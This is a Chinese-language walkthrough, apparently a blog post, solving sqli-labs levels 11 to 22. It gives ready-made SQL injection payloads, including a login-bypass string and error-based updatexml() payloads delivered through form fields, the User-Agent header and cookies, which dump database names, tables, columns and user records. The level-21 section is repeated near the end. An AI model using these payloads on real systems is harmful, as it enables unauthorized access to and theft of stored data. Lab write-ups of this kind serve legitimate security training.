sqli-labs通关(less11-less22)
less-11(11-12相似)
post型注入
1.判断注入漏洞
在username中输入单引号,返回报错,根据报错内容可知username需单引号闭合

也可输入万能密码:'or1=1#
发现登录成功
2.判断列数
username中输入1’ union select 1,2#

有两列并且有回显
3.剩余操作与less-1相同
less-13(13~16相似)
与前面盲注内容相似
less-17
补充知识:
updatexml()
解释:更新xml文档内容
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
eg:updatexml(1,concat(0x7e,(select database()),0x7e),1)
0x7e:十六进制的 ” ~ “
concat(0x7e,(select database()),0x7e):将黑体部分拼接起来
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码,就会将需要的内容一起报错出来。
[0x7e实际是是16进制,Mysql支持16进制,但是开头得写0x ,0x7e是一个特殊符号,然后不符合路径规则
报错]
**注意:**1.使用该语句必须保证可以被执行,可以与union select,or,and等使用,只要保证可以被执行即可
2.报错有长度限制,尽量不要使用group_concat进行报错
less-17
本关是在已经登陆的情况下更改密码,因此首先要先知道username,只能对password进行注入
下面username为Dumb
1.寻找注入漏洞
输入单引号,会进行报错

可以通过报错注入
2.爆库
1’ and updatexml(1,concat(0x7e,database(),0x7e),1)#

3.爆表
1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1)#

或者输入:1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)#
因为报错返回长度有限,这样可以限制返回长度
4.爆字段
1’and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users’and table_schema=‘security’ limit 0,1)),1)#

5.同样的方法获得其他数据
less-18(http头部注入)(18~22相似)

本关所有闭合方法均无效,但user-Agent可以显示报错,所以可以使用报错注入
使用Hack Bar插件修改user-Agent
1.确定闭合方式
输入单引号,出现报错

可以确定为单引号闭合
2.爆库
'or updatexml(1,concat(0x7e,database(),0x7e),1),2,3)#
查看源码可知value后面必须有三个值,因此有黑体字部分

3.爆表
'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1),2,3)#
改变黑体字部分数值得到所有表

4.爆字段
'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),0x7e),1),2,3)#
改变黑体字部分数值得到所有字段
5.报数据
'or updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1),2,3)#
改变黑体字部分得到所有数据
less-20(cookie注入)
输入正确的账号和密码后会有cookie的提示
1.寻找闭合方式和注入点
使用插件Hack Bar,在cookie处输入单引号

出现报错,说明为单引号闭合,可注入
2.爆库
'or updatexml(1,concat(0x7e,database(),0x7e),1)#
3.其余步骤与less-18相似
less-21(less-21~22相似)
本关与less-20相似,不过需要将写入cookie里的语句进行base64编码
编码解码:https://base64.us/
(1,concat(0x7e,database(),0x7e),1)#
3.其余步骤与less-18相似
less-21(less-21~22相似)
本关与less-20相似,不过需要将写入cookie里的语句进行base64编码
编码解码:https://base64.us/
3363

被折叠的 条评论
为什么被折叠?



